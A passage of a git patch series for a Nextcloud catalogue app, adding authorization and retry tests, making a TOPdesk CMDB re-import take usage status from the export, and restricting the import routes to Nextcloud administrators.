as a refusal'); + }//end testARefusedWindowWithoutIdsIsNotRewritten() + + /** + * A product that names no provider is not announced by the organisation that owns its record: + * that is often the default organisation, which suppliers without one of their own share. + * + * @return void + */ + public function testAProductWithoutAProviderIsAnnouncedByAnAdministratorOnly(): void { + $listener = $this->listener(); + $this->windows['x'] = $this->entity('x', self::SCHEMAS['module'], ['name' => 'Product X', 'provider' => []], 'org-default'); + $this->windows['w12'] = $this->entity('w12', self::SCHEMAS['maintenanceWindow'], ['module' => 'x', 'notifyUserIds' => ['victim']], 'org-default', 'mallory'); + $this->windows['w14'] = $this->entity('w14', self::SCHEMAS['maintenanceWindow'], ['module' => 'x'], 'org-default', 'beheer'); + + $listener->handle(new ObjectCreatedEvent($this->windows['w12'])); + $listener->handle(new ObjectCreatedEvent($this->windows['w14'])); + $this->runQueuedJobs(); + + $this->assertSame([[], ['anna.nc', 'bram.nc', 'carla.nc']], array_column($this->saved, 'notifyUserIds'), 'the supplier is refused, the administrator is not'); + }//end testAProductWithoutAProviderIsAnnouncedByAnAdministratorOnly() + + /** + * A retry that finds the product readable records the owners. + * + * @return void + */ + public function testARetryThatSucceedsRecordsTheOwners(): void { + $this->listener(); + $this->windows['w15'] = $this->entity('w15', self::SCHEMAS['maintenanceWindow'], ['module' => 'x'], self::SUPPLIER, 'jan'); + + $this->queued = [[MaintenanceRecipientsJob::class, ['uuid' => 'w15', 'attempt' => 2]]]; + $this->runQueuedJobs(); + + $this->assertSame([['anna.nc', 'bram.nc', 'carla.nc']], array_column($this->saved, 'notifyUserIds')); + $this->assertSame([], $this->retries); + }//end testARetryThatSucceedsRecordsTheOwners() + + /** + * A window that cannot be written, or owners that cannot be read, are tried again rather than resolved empty. + * + * @return void + */ + public function testAFailedWriteOrOwnerReadIsTriedAgain(): void { + $listener = $this->listener(); + $this->failSave = true; + $this->windows['w16'] = $this->entity('w16', self::SCHEMAS['maintenanceWindow'], ['module' => 'x'], self::SUPPLIER, 'jan'); + $listener->handle(new ObjectCreatedEvent($this->windows['w16'])); + $this->runQueuedJobs(); + + $this->failSave = false; + $this->failUsages = true; + $this->queued = [[MaintenanceRecipientsJob::class, ['uuid' => 'w16']]]; + $this->runQueuedJobs(); + + $this->assertSame([], $this->saved, 'no empty list is recorded as resolved'); + $this->assertSame([2, 2], array_column($this->retries, 'attempt')); + }//end testAFailedWriteOrOwnerReadIsTriedAgain() + /** * A catalogue administrator may announce maintenance on any product. * @@ -372,7 +544,7 @@ public function testACatalogAdministratorMayAnnounceForAnyProduct(): void { public function testTheOrganisationThatOnlyOwnsTheProductRecordIsRefused(): void { $listener = $this->listener(); $this->windows['x'] = $this->entity('x', self::SCHEMAS['module'], ['name' => 'Product X', 'provider' => ['id' => self::SUPPLIER]], 'org-default'); - $window = $this->entity('w6', self::SCHEMAS['maintenanceWindow'], ['module' => 'x'], 'org-default', 'jan'); + $window = $this->entity('w6', self::SCHEMAS['maintenanceWindow'], ['module' => 'x', 'notifyUserIds' => ['victim']], 'org-default', 'jan'); $this->windows['w6'] = $window; From bda7ec20505e178581fd42ad3e914edb417bd583 Mon Sep 17 00:00:00 2001 From: WilcoLouwerse Date: Mon, 5 Oct 2026 15:52:28 +0200 Subject: [PATCH 155/176] test(publication): pin the retry after a failed copy onto a published module's versions Co-Authored-By: Claude Opus 5.5 (1M context) --- .../ModuleVersionPublicationServiceTest.php | 17 +++++++++++++++++ 1 file changed, 17 insertions(+) diff --git a/tests/Unit/Service/ModuleVersionPublicationServiceTest.php b/tests/Unit/Service/ModuleVersionPublicationServiceTest.php index c1600c973..9699d3347 100644 --- a/tests/Unit/Service/ModuleVersionPublicationServiceTest.php +++ b/tests/Unit/Service/ModuleVersionPublicationServiceTest.php @@ -422,6 +422,23 @@ public function testAFailedVersionWriteInTheJobIsTriedAgain(): void { $this->assertSame([['module' => 'm-1', 'deleted' => true, 'attempt' => 2]], array_column($this->retries, 0)); }//end testAFailedVersionWriteInTheJobIsTriedAgain() + /** + * A version that cannot be written while a published module is copied onto it is tried again too. + * + * @return void + */ + public function testAFailedBackfillInTheJobIsTriedAgain(): void { + $service = $this->service(); + $this->objects->method('find')->willReturn(self::entity('m-1', '43', ['registeredBy' => 'Supplier'])); + $this->objects->method('searchObjects')->willReturn([self::entity('v-1', '46', ['module' => 'm-1'])]); + $this->objects->method('saveObject')->willThrowException(new \RuntimeException('lock wait timeout')); + + $service->objectSaved(object: self::entity('m-1', '43', ['registeredBy' => 'Supplier'])); + $this->runQueuedJobs(); + + $this->assertSame([['module' => 'm-1', 'deleted' => false, 'attempt' => 2]], array_column($this->retries, 0)); + }//end testAFailedBackfillInTheJobIsTriedAgain() + /** * A depublication that cannot be written is logged as critical: the version stays public. * From 6d3bed07b29b8247d6ec3d100df37d9e7dac7c2e Mon Sep 17 00:00:00 2001 From: WilcoLouwerse Date: Mon, 5 Oct 2026 15:53:49 +0200 Subject: [PATCH 156/176] fix(cmdb-import): a re-import takes the usage status from the export A status change in TOPdesk has to come through when the export is imported again, so `status` is no longer create-only in the TOPdesk profile. The TIME classification and the internal note stay create-only: an assessment made in stackiq is not overwritten. The profile and service tests, REQ-CMDB-009 and its scenario, design.md, the docs page and the section's help text (en/nl) now say the status follows the export. Co-Authored-By: Claude Opus 5.5 --- docs/features/cmdb-import.md | 14 +++++++------- l10n/en.js | 2 +- l10n/en.json | 2 +- l10n/nl.js | 2 +- l10n/nl.json | 2 +- lib/Settings/cmdb-import/topdesk-profile.json | 2 +- openspec/changes/cmdb-export-import/design.md | 2 +- .../specs/cmdb-export-import/spec.md | 8 ++++---- src/views/settings/sections/CmdbImport.vue | 2 +- tests/Unit/Service/Cmdb/CmdbImportProfileTest.php | 2 +- tests/Unit/Service/CmdbExportImportServiceTest.php | 10 +++++----- 11 files changed, 24 insertions(+), 24 deletions(-) diff --git a/docs/features/cmdb-import.md b/docs/features/cmdb-import.md index e497bd54f..5b3bafe57 100644 --- a/docs/features/cmdb-import.md +++ b/docs/features/cmdb-import.md @@ -158,7 +158,7 @@ date stored there, including one set by hand. | Datum | module external creation date | Excel date | | Referentie datum wijziging | module external modification date | Excel date | | Vendor | Supplier organisation, set as provider on the module and the usage | one organisation per name, see below | -| Applicatie Status | usage status | set only when the usage is new or its status is empty; In productie → In production, In voorraad → Planned, In ontwikkeling → Acquisition, Uit te faseren and Moet verwijderd worden → To be phased out, Uitgefaseerd and Verwijderd → Phased out, Besteld and Wordt getest → Acquisition, Stand-by voor continuïteit → In production; another value is dropped with a warning | +| Applicatie Status | usage status | In productie → In production, In voorraad → Planned, In ontwikkeling → Acquisition, Uit te faseren and Moet verwijderd worden → To be phased out, Uitgefaseerd and Verwijderd → Phased out, Besteld and Wordt getest → Acquisition, Stand-by voor continuïteit → In production; another value is dropped with a warning | | Classificatie | usage TIME classification | set only when the usage is new or its TIME classification is empty; Tolereren/Tolerate (also `1. Tolereren (wordt ingelezen)`), Investeren/Invest, Migreren/Migrate, Elimineren/Eliminate | | End-of-Life Functioneel | usage phase-out date | Excel date, stored as is | | (the sheet), Cluster, Applicatie Eigenaar (Afdeling) | usage internal annotation | `Beheer geregeld: ja` or `nee`, the cluster and the department, joined with ` / `; written only when the usage is new or the note is empty | @@ -188,12 +188,12 @@ colliding. (the moment the import started), so OpenCatalogi lists it; with it off, the module has no publication date and is not public. - **Known APPID, values changed**: only the fields in the column table - are updated, and of those, the usage's status, TIME classification and - internal note only when they are empty: a status or classification set in - stackiq stays, whatever the export says. A re-import does overwrite the - application's name, descriptions, application type, hosting model, BBN - level, source fields and supplier, and the usage's phase-out date and - business owner. Everything else on the module stays as it is, for example a + are updated, and of those, the usage's TIME classification and internal + note only when they are empty: a classification set in stackiq stays, + whatever the export says. A re-import does overwrite the application's + name, descriptions, application type, hosting model, BBN level, source + fields and supplier, and the usage's status, phase-out date and business + owner, so a status change in TOPdesk comes through. Everything else on the module stays as it is, for example a website an administrator added. The publication date and the depublication date are never changed: a module an administrator depublished stays depublished. The row is reported as *updated*. diff --git a/l10n/en.js b/l10n/en.js index 8ab58095f..a2234da63 100644 --- a/l10n/en.js +++ b/l10n/en.js @@ -1126,7 +1126,7 @@ OC.L10N.register( "Created unpublished": "Created unpublished", "The key a repeated import matches this application on: topdesk::. Set by the CMDB import; only a Nextcloud admin can change it.": "The key a repeated import matches this application on: topdesk::. Set by the CMDB import; only a Nextcloud admin can change it.", "conflict: the application with this import key is used by another organisation, so it is not changed": "conflict: the application with this import key is used by another organisation, so it is not changed", - "When on, a re-import overwrites the application's name, descriptions, application type, hosting model, BBN level, source fields and supplier, and the usage's phase-out date and business owner, with the values from the export. The usage's status, TIME classification and internal note are only set when the usage is created or the field is empty, so changes made in stackiq stay.": "When on, a re-import overwrites the application's name, descriptions, application type, hosting model, BBN level, source fields and supplier, and the usage's phase-out date and business owner, with the values from the export. The usage's status, TIME classification and internal note are only set when the usage is created or the field is empty, so changes made in stackiq stay." + "When on, a re-import overwrites the application's name, descriptions, application type, hosting model, BBN level, source fields and supplier, and the usage's status, phase-out date and business owner, with the values from the export. The usage's TIME classification and internal note are only set when the usage is created or the field is empty, so changes made in stackiq stay.": "When on, a re-import overwrites the application's name, descriptions, application type, hosting model, BBN level, source fields and supplier, and the usage's status, phase-out date and business owner, with the values from the export. The usage's TIME classification and internal note are only set when the usage is created or the field is empty, so changes made in stackiq stay." }, "nplurals=2; plural=(n != 1);" ) diff --git a/l10n/en.json b/l10n/en.json index 2f8446b52..b0a8fb9b6 100644 --- a/l10n/en.json +++ b/l10n/en.json @@ -1125,6 +1125,6 @@ "Created unpublished": "Created unpublished", "The key a repeated import matches this application on: topdesk::. Set by the CMDB import; only a Nextcloud admin can change it.": "The key a repeated import matches this application on: topdesk::. Set by the CMDB import; only a Nextcloud admin can change it.", "conflict: the application with this import key is used by another organisation, so it is not changed": "conflict: the application with this import key is used by another organisation, so it is not changed", - "When on, a re-import overwrites the application's name, descriptions, application type, hosting model, BBN level, source fields and supplier, and the usage's phase-out date and business owner, with the values from the export. The usage's status, TIME classification and internal note are only set when the usage is created or the field is empty, so changes made in stackiq stay.": "When on, a re-import overwrites the application's name, descriptions, application type, hosting model, BBN level, source fields and supplier, and the usage's phase-out date and business owner, with the values from the export. The usage's status, TIME classification and internal note are only set when the usage is created or the field is empty, so changes made in stackiq stay." + "When on, a re-import overwrites the application's name, descriptions, application type, hosting model, BBN level, source fields and supplier, and the usage's status, phase-out date and business owner, with the values from the export. The usage's TIME classification and internal note are only set when the usage is created or the field is empty, so changes made in stackiq stay.": "When on, a re-import overwrites the application's name, descriptions, application type, hosting model, BBN level, source fields and supplier, and the usage's status, phase-out date and business owner, with the values from the export. The usage's TIME classification and internal note are only set when the usage is created or the field is empty, so changes made in stackiq stay." } } diff --git a/l10n/nl.js b/l10n/nl.js index 921d22f62..6d4d7eb87 100644 --- a/l10n/nl.js +++ b/l10n/nl.js @@ -1196,7 +1196,7 @@ OC.L10N.register( "Created unpublished": "Ongepubliceerd aangemaakt", "The key a repeated import matches this application on: topdesk::. Set by the CMDB import; only a Nextcloud admin can change it.": "De sleutel waarop een herhaalde import deze applicatie koppelt: topdesk::. Gezet door de CMDB-import; alleen een Nextcloud-beheerder kan deze wijzigen.", "conflict: the application with this import key is used by another organisation, so it is not changed": "conflict: de applicatie met deze importsleutel wordt door een andere organisatie gebruikt en wordt daarom niet gewijzigd", - "When on, a re-import overwrites the application's name, descriptions, application type, hosting model, BBN level, source fields and supplier, and the usage's phase-out date and business owner, with the values from the export. The usage's status, TIME classification and internal note are only set when the usage is created or the field is empty, so changes made in stackiq stay.": "Staat dit aan, dan overschrijft een herhaalde import de naam, de omschrijvingen, het applicatietype, het hostingmodel, het BBN-niveau, de bronvelden en de leverancier van de applicatie, en de uitfaseerdatum en de functioneel eigenaar van het gebruik, met de waarden uit de export. De status, de TIME-classificatie en de interne notitie van het gebruik worden alleen gezet wanneer het gebruik wordt aangemaakt of het veld leeg is, zodat wijzigingen in stackiq blijven staan." + "When on, a re-import overwrites the application's name, descriptions, application type, hosting model, BBN level, source fields and supplier, and the usage's status, phase-out date and business owner, with the values from the export. The usage's TIME classification and internal note are only set when the usage is created or the field is empty, so changes made in stackiq stay.": "Staat dit aan, dan overschrijft een herhaalde import de naam, de omschrijvingen, het applicatietype, het hostingmodel, het BBN-niveau, de bronvelden en de leverancier van de applicatie, en de status, de uitfaseerdatum en de functioneel eigenaar van het gebruik, met de waarden uit de export. De TIME-classificatie en de interne notitie van het gebruik worden alleen gezet wanneer het gebruik wordt aangemaakt of het veld leeg is, zodat wijzigingen in stackiq blijven staan." }, "nplurals=2; plural=(n != 1);" ) diff --git a/l10n/nl.json b/l10n/nl.json index d2d522fb4..6f24a5105 100644 --- a/l10n/nl.json +++ b/l10n/nl.json @@ -1195,6 +1195,6 @@ "Created unpublished": "Ongepubliceerd aangemaakt", "The key a repeated import matches this application on: topdesk::. Set by the CMDB import; only a Nextcloud admin can change it.": "De sleutel waarop een herhaalde import deze applicatie koppelt: topdesk::. Gezet door de CMDB-import; alleen een Nextcloud-beheerder kan deze wijzigen.", "conflict: the application with this import key is used by another organisation, so it is not changed": "conflict: de applicatie met deze importsleutel wordt door een andere organisatie gebruikt en wordt daarom niet gewijzigd", - "When on, a re-import overwrites the application's name, descriptions, application type, hosting model, BBN level, source fields and supplier, and the usage's phase-out date and business owner, with the values from the export. The usage's status, TIME classification and internal note are only set when the usage is created or the field is empty, so changes made in stackiq stay.": "Staat dit aan, dan overschrijft een herhaalde import de naam, de omschrijvingen, het applicatietype, het hostingmodel, het BBN-niveau, de bronvelden en de leverancier van de applicatie, en de uitfaseerdatum en de functioneel eigenaar van het gebruik, met de waarden uit de export. De status, de TIME-classificatie en de interne notitie van het gebruik worden alleen gezet wanneer het gebruik wordt aangemaakt of het veld leeg is, zodat wijzigingen in stackiq blijven staan." + "When on, a re-import overwrites the application's name, descriptions, application type, hosting model, BBN level, source fields and supplier, and the usage's status, phase-out date and business owner, with the values from the export. The usage's TIME classification and internal note are only set when the usage is created or the field is empty, so changes made in stackiq stay.": "Staat dit aan, dan overschrijft een herhaalde import de naam, de omschrijvingen, het applicatietype, het hostingmodel, het BBN-niveau, de bronvelden en de leverancier van de applicatie, en de status, de uitfaseerdatum en de functioneel eigenaar van het gebruik, met de waarden uit de export. De TIME-classificatie en de interne notitie van het gebruik worden alleen gezet wanneer het gebruik wordt aangemaakt of het veld leeg is, zodat wijzigingen in stackiq blijven staan." } } diff --git a/lib/Settings/cmdb-import/topdesk-profile.json b/lib/Settings/cmdb-import/topdesk-profile.json index 2be3deab4..eab8f52fa 100644 --- a/lib/Settings/cmdb-import/topdesk-profile.json +++ b/lib/Settings/cmdb-import/topdesk-profile.json @@ -36,7 +36,7 @@ }, "createOnly": { "module": { "type": "Application" }, - "usage": ["interneAnnotation", "status", "timeClassification"] + "usage": ["interneAnnotation", "timeClassification"] }, "neverWritten": { "module": ["publicationDate", "depublicationDate"] diff --git a/openspec/changes/cmdb-export-import/design.md b/openspec/changes/cmdb-export-import/design.md index d9ff5bcd1..e04418025 100644 --- a/openspec/changes/cmdb-export-import/design.md +++ b/openspec/changes/cmdb-export-import/design.md @@ -126,7 +126,7 @@ Per row: 3. No match: create the module from the mapped data, plus `externalKey`, the create-only defaults (`type: Application`), and `publicationDate` (D6). A module found by `externalKey` counts as a match only when it has a usage whose consumer is this municipality, or no usage at all. `externalKey` is a module property, so on its own it is not proof of ownership: a module only another organisation uses is a conflict, reported as `skipped` and neither changed nor duplicated. The property also carries a write rule (`update: admin`), so only a Nextcloud admin can set it outside the import. 4. Match and `updateExisting=false`: skip with reason `exists`. -5. Match: merge the mapped fields onto the stored object. Every field the pack does not map stays as it is. Create-only fields (`module.type`; `usage.interneAnnotation`, `usage.status` and `usage.timeClassification`) stay as they are, unless the stored value is empty, so a status or classification set in stackiq survives a re-import. If the merged object equals the stored one, do not save, and report `unchanged`. Otherwise save, and report `updated`. +5. Match: merge the mapped fields onto the stored object. Every field the pack does not map stays as it is. Create-only fields (`module.type`; `usage.interneAnnotation` and `usage.timeClassification`) stay as they are, unless the stored value is empty, so a TIME classification set in stackiq survives a re-import, while the usage status follows the export. If the merged object equals the stored one, do not save, and report `unchanged`. Otherwise save, and report `updated`. The APPID is also stored as `externalNumber`, so it is visible on the module. diff --git a/openspec/changes/cmdb-export-import/specs/cmdb-export-import/spec.md b/openspec/changes/cmdb-export-import/specs/cmdb-export-import/spec.md index 14ca0f81b..cf917eb23 100644 --- a/openspec/changes/cmdb-export-import/specs/cmdb-export-import/spec.md +++ b/openspec/changes/cmdb-export-import/specs/cmdb-export-import/spec.md @@ -317,7 +317,7 @@ The service SHALL map "Vendor" (the maker of the software) through the manufactu ### Requirement: Each imported application SHALL have one usage that links it to the municipality (REQ-CMDB-009) -For each imported module the service SHALL keep exactly one `usage` with `consumer` = the municipality and `module` = the module, found by those two references and created when missing. The usage pack SHALL map "Applicatie Status" to `status` and "Classificatie" to `timeClassification` through lookups, "End-of-Life Functioneel" to `startDateOutPhased`, and the sheet's `Beheer` constant, "Cluster" and "Applicatie Eigenaar (Afdeling)" to `interneAnnotation`, so the note records whether maintenance is arranged (`Beheer geregeld: nee` for "Onbeh Applicaties CMDB", `ja` for "Beheerde Applicaties CMDB"). Empty parts SHALL be left out of the note. `interneAnnotation`, `status` and `timeClassification` SHALL be written only when the usage is created or the field is empty, so a note, status or TIME classification an admin set in stackiq is never overwritten by a re-import; `startDateOutPhased`, `provider` and `businessOwner` follow the export on every update. The section's help text for "Update existing records" SHALL say which fields a re-import overwrites and which it only sets on create. +For each imported module the service SHALL keep exactly one `usage` with `consumer` = the municipality and `module` = the module, found by those two references and created when missing. The usage pack SHALL map "Applicatie Status" to `status` and "Classificatie" to `timeClassification` through lookups, "End-of-Life Functioneel" to `startDateOutPhased`, and the sheet's `Beheer` constant, "Cluster" and "Applicatie Eigenaar (Afdeling)" to `interneAnnotation`, so the note records whether maintenance is arranged (`Beheer geregeld: nee` for "Onbeh Applicaties CMDB", `ja` for "Beheerde Applicaties CMDB"). Empty parts SHALL be left out of the note. `interneAnnotation` and `timeClassification` SHALL be written only when the usage is created or the field is empty, so a note or TIME classification an admin set in stackiq is never overwritten by a re-import; `status`, `startDateOutPhased`, `provider` and `businessOwner` follow the export on every update, so a status change in TOPdesk comes through. The section's help text for "Update existing records" SHALL say which fields a re-import overwrites and which it only sets on create. #### Scenario: The usage records whether maintenance is arranged @e2e exclude Covered by the service test; tests/Unit/Service/CmdbExportImportServiceTest.php imports a row from each sheet. @@ -335,12 +335,12 @@ For each imported module the service SHALL keep exactly one `usage` with `consum - **THEN** a usage SHALL exist for each imported module with `consumer` = that uuid and `module` = the module's uuid - **AND** that account SHALL see `Aangetekend Mailen` and `naamtest123` under "Software we use" -#### Scenario: A re-import keeps the status and TIME classification set in stackiq -@e2e exclude Covered by the service test; tests/Unit/Service/CmdbExportImportServiceTest.php testAReimportKeepsTheStatusAndTimeClassificationOfAUsage re-imports two rows and asserts an edited status and TIME classification stay, empty ones are filled, and the phase-out date follows the export, and tests/Unit/Service/Cmdb/CmdbImportProfileTest.php asserts the three create-only usage fields. +#### Scenario: A re-import keeps the TIME classification set in stackiq and takes the status from the export +@e2e exclude Covered by the service test; tests/Unit/Service/CmdbExportImportServiceTest.php testAReimportKeepsTheTimeClassificationAndTakesTheStatusOfAUsage re-imports two rows and asserts an edited TIME classification stays, an empty one is filled, and the status and phase-out date follow the export, and tests/Unit/Service/Cmdb/CmdbImportProfileTest.php asserts the two create-only usage fields. - **GIVEN** the usage of APPID `1` for "Gemeente Voorbeeldstad" whose status an admin set to `To be phased out` and whose TIME classification to `Migrate`, and the usage of APPID `2` with neither - **WHEN** a newer export with "Applicatie Status" `In productie`, "Classificatie" `Tolereren` and "End-of-Life Functioneel" `53359` for both is imported -- **THEN** the usage of APPID `1` SHALL keep `To be phased out` and `Migrate`, and SHALL get `startDateOutPhased` = `2046-02-01` +- **THEN** the usage of APPID `1` SHALL keep `Migrate`, and SHALL get `In production` and `startDateOutPhased` = `2046-02-01` - **AND** the usage of APPID `2` SHALL get `In production` and `Tolerate` #### Scenario: A re-import does not add a second usage diff --git a/src/views/settings/sections/CmdbImport.vue b/src/views/settings/sections/CmdbImport.vue index 0b2f85287..7d4c98466 100644 --- a/src/views/settings/sections/CmdbImport.vue +++ b/src/views/settings/sections/CmdbImport.vue @@ -119,7 +119,7 @@ {{ t( 'stackiq', - 'When on, a re-import overwrites the application\'s name, descriptions, application type, hosting model, BBN level, source fields and supplier, and the usage\'s phase-out date and business owner, with the values from the export. The usage\'s status, TIME classification and internal note are only set when the usage is created or the field is empty, so changes made in stackiq stay.', + 'When on, a re-import overwrites the application\'s name, descriptions, application type, hosting model, BBN level, source fields and supplier, and the usage\'s status, phase-out date and business owner, with the values from the export. The usage\'s TIME classification and internal note are only set when the usage is created or the field is empty, so changes made in stackiq stay.', ) }}

diff --git a/tests/Unit/Service/Cmdb/CmdbImportProfileTest.php b/tests/Unit/Service/Cmdb/CmdbImportProfileTest.php index eb5626ec5..a5893c984 100644 --- a/tests/Unit/Service/Cmdb/CmdbImportProfileTest.php +++ b/tests/Unit/Service/Cmdb/CmdbImportProfileTest.php @@ -137,7 +137,7 @@ public function testThePacksImplementTheColumnTable(): void { $this->assertSame(['type' => 'Supplier', 'status' => 'Active', 'registeredBy' => 'Supplier'], $profile->pack(target: 'manufacturer')['defaults']); $this->assertSame(['type' => 'Municipality', 'status' => 'Active'], $profile->pack(target: 'municipality')['defaults']); $this->assertSame(['type' => 'Application'], $profile->createOnlyDefaults(target: 'module')); - $this->assertSame(['interneAnnotation', 'status', 'timeClassification'], $profile->createOnlyFields(target: 'usage')); + $this->assertSame(['interneAnnotation', 'timeClassification'], $profile->createOnlyFields(target: 'usage')); $this->assertSame(['publicationDate', 'depublicationDate'], $profile->neverWrittenOnUpdate(target: 'module')); $this->assertSame(['APPID', 'Applicatie Naam'], $profile->requiredColumns()); $this->assertSame('APPID', $profile->keyColumn()); diff --git a/tests/Unit/Service/CmdbExportImportServiceTest.php b/tests/Unit/Service/CmdbExportImportServiceTest.php index 824d68382..9365c2779 100644 --- a/tests/Unit/Service/CmdbExportImportServiceTest.php +++ b/tests/Unit/Service/CmdbExportImportServiceTest.php @@ -1257,13 +1257,13 @@ public function testAModuleThisMunicipalityUsesOrNobodyUsesIsUpdated(): void { }//end testAModuleThisMunicipalityUsesOrNobodyUsesIsUpdated() /** - * A re-import sets usage status and TIME classification only when the usage is new or the field is empty. + * A re-import sets the usage TIME classification only when the usage is new or the field is empty. * - * An administrator's edit of either stays; the phase-out date is still updated from the export. + * An administrator's classification stays; the status and the phase-out date follow the export. * * @return void */ - public function testAReimportKeepsTheStatusAndTimeClassificationOfAUsage(): void { + public function testAReimportKeepsTheTimeClassificationAndTakesTheStatusOfAUsage(): void { $this->seedOrganisation(uuid: 'muni-1', name: 'Gemeente Voorbeeldstad', type: 'Municipality'); $this->store[self::MODULE]['mod-1'] = ['id' => 'mod-1', 'name' => 'Applicatie 1', 'externalKey' => 'topdesk:muni-1:1']; $this->store[self::MODULE]['mod-2'] = ['id' => 'mod-2', 'name' => 'Applicatie 2', 'externalKey' => 'topdesk:muni-1:2']; @@ -1281,12 +1281,12 @@ public function testAReimportKeepsTheStatusAndTimeClassificationOfAUsage(): void $this->service(reader: $this->rowsReader(rows: $rows))->import(path: '', options: ['municipalityUuid' => 'muni-1']); - $this->assertSame('To be phased out', $this->store[self::USAGE]['usage-1']['status'], 'an edited status stays'); + $this->assertSame('In production', $this->store[self::USAGE]['usage-1']['status'], 'the status follows the export'); $this->assertSame('Migrate', $this->store[self::USAGE]['usage-1']['timeClassification'], 'an edited TIME classification stays'); $this->assertSame('2046-02-01', $this->store[self::USAGE]['usage-1']['startDateOutPhased'], 'the phase-out date follows the export'); $this->assertSame('In production', $this->store[self::USAGE]['usage-2']['status'], 'an empty status is filled'); $this->assertSame('Tolerate', $this->store[self::USAGE]['usage-2']['timeClassification'], 'an empty TIME classification is filled'); - }//end testAReimportKeepsTheStatusAndTimeClassificationOfAUsage() + }//end testAReimportKeepsTheTimeClassificationAndTakesTheStatusOfAUsage() /** * A municipality uuid must be an organisation of type Municipality. From aadd4a733f44f29956eed845ddacaee854d17937 Mon Sep 17 00:00:00 2001 From: WilcoLouwerse Date: Mon, 5 Oct 2026 15:59:10 +0200 Subject: [PATCH 157/176] =?UTF-8?q?fix(review):=20#1219=20a1=20=E2=80=94?= =?UTF-8?q?=20the=20CMDB=20import=20and=20cancel=20routes=20are=20for=20Ne?= =?UTF-8?q?xtcloud=20admins=20only?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit `#[AuthorizedAdminSetting(StackiqAdmin)]` admitted every group an admin delegated stackiq's admin settings to, while the import reads and writes with `_rbac: false` and `_multitenancy: false` for any municipality, across tenants. Both methods now carry no auth attribute, which is Nextcloud's admin gate, and declare it with `@auth admin-only `. The controller tests assert that neither the class nor a method carries AuthorizedAdminSetting, NoAdminRequired, NoCSRFRequired or PublicPage, and that both methods declare the tag, so re-adding delegation fails them. The class sweep put the same rule in contract.md, openapi.json, both spec files (REQ-CMDB-001, its scenario and anchors, REQ-CMDB-013, the security note), design.md, proposal.md, tasks.md, test-plan.md, the docs page, the routes comment, the StackiqAdmin docblock, the e2e 403 test and the NOT_ADMIN page text, which is back to "Only Nextcloud administrators can import a CMDB export." (the two keys that named delegation are removed from en/nl). The Newman 403 case names already say "not a Nextcloud admin", which is the rule again. Co-Authored-By: Claude Opus 5.5 --- appinfo/routes.php | 2 +- docs/features/cmdb-import.md | 18 +++++----- l10n/en.js | 2 -- l10n/en.json | 2 -- l10n/nl.js | 2 -- l10n/nl.json | 2 -- lib/Controller/CmdbImportController.php | 30 ++++++---------- lib/Settings/StackiqAdmin.php | 9 +++-- openapi.json | 8 ++--- .../changes/cmdb-export-import/contract.md | 8 ++--- openspec/changes/cmdb-export-import/design.md | 10 +++--- .../changes/cmdb-export-import/proposal.md | 2 +- .../specs/cmdb-export-import/spec.md | 16 ++++----- openspec/changes/cmdb-export-import/tasks.md | 6 ++-- .../changes/cmdb-export-import/test-plan.md | 4 +-- openspec/specs/cmdb-export-import/spec.md | 7 ++-- src/utils/cmdbImport.js | 17 ++++------ src/utils/cmdbImport.spec.js | 2 +- .../Controller/CmdbImportControllerTest.php | 34 +++++++++++-------- tests/e2e/spec-coverage/cmdb-import.spec.ts | 4 +-- 20 files changed, 87 insertions(+), 98 deletions(-) diff --git a/appinfo/routes.php b/appinfo/routes.php index 33451b3fc..9fc761db5 100644 --- a/appinfo/routes.php +++ b/appinfo/routes.php @@ -104,7 +104,7 @@ ['name' => 'settings#killArchiMateImport', 'url' => '/api/archimate/import/kill', 'verb' => 'POST'], // deprecated ['name' => 'settings#clearArchiMateExportStatus', 'url' => '/api/archimate/status/export/clear', 'verb' => 'POST'], - // CMDB export import (TOPdesk xlsx) — admin-only, CSRF-protected. + // CMDB export import (TOPdesk xlsx) — Nextcloud admins only (no delegated groups), CSRF-protected. // Progress is read through the existing /api/progress/{operationId}. // @spec openspec/changes/cmdb-export-import/tasks.md#task-8 ['name' => 'cmdbImport#import', 'url' => '/api/cmdb-import', 'verb' => 'POST'], diff --git a/docs/features/cmdb-import.md b/docs/features/cmdb-import.md index 5b3bafe57..d89001217 100644 --- a/docs/features/cmdb-import.md +++ b/docs/features/cmdb-import.md @@ -23,11 +23,13 @@ Specification: [`openspec/changes/cmdb-export-import/`](https://github.com/Condu ## Who can import -Nextcloud administrators, and members of the groups an administrator -delegated stackiq's admin settings to (**Administration settings → -Administration privileges**). Membership of `software-catalog-admins` alone -is not enough. The section is part of stackiq's admin settings, under -**Administration settings → Stackiq → CMDB import**. +Only Nextcloud administrators. The import writes into the catalogue of +any municipality, past OpenRegister's access rules and organisation +boundaries, so it is not open to the groups an administrator delegated +stackiq's admin settings to (**Administration settings → Administration +privileges**), nor to members of `software-catalog-admins`. The section is +part of stackiq's admin settings, under **Administration settings → Stackiq +→ CMDB import**. ## Before you start @@ -296,9 +298,9 @@ it shows `IMPORT_INTERRUPTED`: wait a few minutes and check the municipality's applications before importing again. Importing the same file again creates no duplicates. -A message that you are not signed in, may not use stackiq's admin settings, -or that your session expired comes from Nextcloud itself: sign in again, use -an account that may (see [Who can import](#who-can-import)), or reload the +A message that you are not signed in, not an administrator, or that your +session expired comes from Nextcloud itself: sign in again, use an +administrator account (see [Who can import](#who-can-import)), or reload the page. ## Limits diff --git a/l10n/en.js b/l10n/en.js index a2234da63..8b3491468 100644 --- a/l10n/en.js +++ b/l10n/en.js @@ -1101,8 +1101,6 @@ OC.L10N.register( "Accepted values: {accepted}. Reload the page and try again.": "Accepted values: {accepted}. Reload the page and try again.", "The server could not store the uploaded file.": "The server could not store the uploaded file.", "Try again. If it keeps failing, the Nextcloud log has the details; check the free space and the upload settings of the server.": "Try again. If it keeps failing, the Nextcloud log has the details; check the free space and the upload settings of the server.", - "You may not use stackiq's admin settings, so you cannot import a CMDB export.": "You may not use stackiq's admin settings, so you cannot import a CMDB export.", - "Ask a Nextcloud administrator to run the import, or to delegate stackiq's admin settings to your group.": "Ask a Nextcloud administrator to run the import, or to delegate stackiq's admin settings to your group.", "No municipality named \"%s\" was found, so it was created. Check the name if you meant an existing one.": "No municipality named \"%s\" was found, so it was created. Check the name if you meant an existing one.", "APPID %1$s is also on sheet \"%2$s\", which wins; this row is not imported": "APPID %1$s is also on sheet \"%2$s\", which wins; this row is not imported", "Stackiq CMDB owners": "Stackiq CMDB owners", diff --git a/l10n/en.json b/l10n/en.json index b0a8fb9b6..475bf75dc 100644 --- a/l10n/en.json +++ b/l10n/en.json 